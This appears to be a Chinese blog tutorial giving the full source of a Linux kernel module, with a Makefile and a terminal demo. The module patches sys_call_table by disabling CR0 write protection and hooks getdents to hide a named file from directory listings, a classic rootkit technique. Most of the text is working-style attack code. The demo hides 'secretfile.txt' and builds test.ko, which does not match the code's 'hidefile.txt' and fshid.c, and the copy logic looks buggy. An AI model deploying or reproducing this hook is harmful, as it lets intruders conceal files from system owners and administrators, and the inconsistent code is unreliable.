赞
踩
前面讲的都是一些基础,比如说拿到sys_call_table地址,简单的hook某个函数,这一节做一个文件/文件夹隐藏,就是hook住文件枚举API --> getdents()&getdents64()
fshid.c
#include <linux/init.h> #include <linux/module.h> #include <linux/syscalls.h> #include <linux/kallsyms.h> #include <linux/slab.h> #include <linux/kern_levels.h> #include <linux/gfp.h> #include <asm/unistd.h> #include <asm/paravirt.h> #include <linux/kernel.h> MODULE_LICENSE("GPL"); MODULE_AUTHOR("xxxxx"); MODULE_DESCRIPTION("Hide File Module"); MODULE_VERSION("1.0"); //初始化sys_call_table unsigned long **SYS_CALL_TABLE; //使能内存写保护 void EnablePageWriting(void) { write_cr0(read_cr0() & (~0x10000)); } //disable 内存写保护 void DisablePageWriting(void) { write_cr0(read_cr0() | 0x10000); } //define our origional function. /* int getdents(unsigned int fd, struct linux_dirent *dirp, unsigned int count); int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count); */ struct linux_dirent { unsigned long d_ino; /* Inode number */ unsigned long d_off; /* Offset to next linux_dirent */ unsigned short d_reclen; // d_reclen is the way to tell the length of this entry char d_name[]; // the struct value is actually longer than this, and d_name is variable width. }; struct linux_dirent_Temporary { unsigned long d_ino; /* Inode number */ unsigned long d_off; /* Offset to next linux_dirent */ unsigned short d_reclen; // d_reclen is the way to tell the length of this entry char d_name[]; // the struct value is actually longer than this, and d_name is variable width. }*dirp2 , *dirp3 , *retn; char hide[]="hidefile.txt"; asmlinkage int ( *original_getdents ) (unsigned int fd, struct linux_dirent *dirp, unsigned int count); //Create Our version of Open Function. asmlinkage int HookGetDents(unsigned int fd, struct linux_dirent *dirp, unsigned int count) { unsigned int records; unsigned int tmp = 0; int Found = 0; unsigned int bytescoppied; struct linux_dirent *dirp2, *dirp3 , *retn; records = (*original_getdents)(fd, dirp, count); if(records > 0) { dirp2 = (struct linux_dirent *)kmalloc(records, GFP_KERNEL); copy_from_user(dirp2, dirp, records); retn = (struct linux_dirent *)kmalloc(records, GFP_KERNEL); // Create Mem space for second memset(retn, 0 , sizeof(*retn)); //copy_from_user(dirp2, dirp, records); dirp3 = dirp2; //retn = dirp2; tmp = records; while(tmp > 0) // Our loop here to iterate through the structs { tmp -= dirp3->d_reclen; //memmove(retn, (char *) dirp3 , tmp); // Search for File... if( (strstr(dirp3->d_name, hide) != NULL)) { if(tmp != 0){ Found = 1; //printk(KERN_INFO "<<<<< %s " , retn->d_name); memcpy(retn, (char *) dirp3+dirp3->d_reclen , records ); records -= dirp3->d_reclen; // Not sure if this does anything //printk(KERN_INFO ">>>>>> %s " , retn->d_name); } else { dirp3->d_off = 1024; } records -= dirp3->d_reclen; } else{ // If file not found..// copy current struct item if( Found ){ //then from here we shall be copying one struct ahead to not have duplicates memcpy(retn, (char *) dirp3+dirp3->d_reclen , records ); }else{ memcpy(retn, (char *) dirp3 , tmp ); } } if (tmp != 0) { // printk(KERN_INFO "File Found %s " , retn->d_name); // Moving to the next Dirent Struct dirp3 = (struct linux_dirent *)((char *) dirp3 + dirp3->d_reclen); } } bytescoppied = copy_to_user(dirp2, retn, records ); //copy_to_user(dirp2, retn, records); bytescoppied = copy_to_user(dirp, dirp2, records); //bytescoppied = memcpy(dirp, (char *) dirp3 , tmp ); //printk(KERN_INFO "Bytes Coppied %u " , records); kfree(dirp2); kfree(retn); } return records; } // Set up hooks. static int __init SetHooks(void) { // Gets Syscall Table ** SYS_CALL_TABLE = (unsigned long**)kallsyms_lookup_name("sys_call_table"); printk(KERN_INFO "Hooks Will Be Set.\n"); printk(KERN_INFO "System call table at %p\n", SYS_CALL_TABLE); // Opens the memory pages to be written EnablePageWriting(); // Replaces Pointer Of Syscall_open on our syscall. original_getdents = (void*)SYS_CALL_TABLE[__NR_getdents]; SYS_CALL_TABLE[__NR_getdents] = (unsigned long*)HookGetDents; DisablePageWriting(); return 0; } static void __exit HookCleanup(void) { // Clean up our Hooks EnablePageWriting(); SYS_CALL_TABLE[__NR_getdents] = (unsigned long*)original_getdents; DisablePageWriting(); printk(KERN_INFO "HooksCleaned Up!"); } module_init(SetHooks); module_exit(HookCleanup);
Makefile:
obj-m :=fshid.o
KERNEL := /lib/modules/$(shell uname -r)/build
all:
make -C $(KERNEL) M=$(shell pwd) modules
install:
make -C $(KERNEL) M=$(shell pwd) modules_install
depmod -A
clean:
make -C $(KERNEL) M=$(shell pwd) clean
char hide[]=“hidefile.txt”; --> 指定需要隐藏的文件名
curtis@curtis-virtual-machine:~/Desktop/file_hide$ make make -C /lib/modules/4.2.0-42-generic/build M=/home/curtis/Desktop/file_hide modules make[1]: Entering directory `/usr/src/linux-headers-4.2.0-42-generic' CC [M] /home/curtis/Desktop/file_hide/test.o Building modules, stage 2. MODPOST 1 modules CC /home/curtis/Desktop/file_hide/test.mod.o LD [M] /home/curtis/Desktop/file_hide/test.ko make[1]: Leaving directory `/usr/src/linux-headers-4.2.0-42-generic' curtis@curtis-virtual-machine:~/Desktop/file_hide$ ls Makefile Module.symvers test.c test.mod.c test.o modules.order secretfile.txt test.ko test.mod.o curtis@curtis-virtual-machine:~/Desktop/file_hide$ sudo insmod test.ko curtis@curtis-virtual-machine:~/Desktop/file_hide$ ls Makefile Module.symvers test.ko test.mod.o modules.order test.c test.mod.c test.o curtis@curtis-virtual-machine:~/Desktop/file_hide$
成功隐藏自定义文件。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。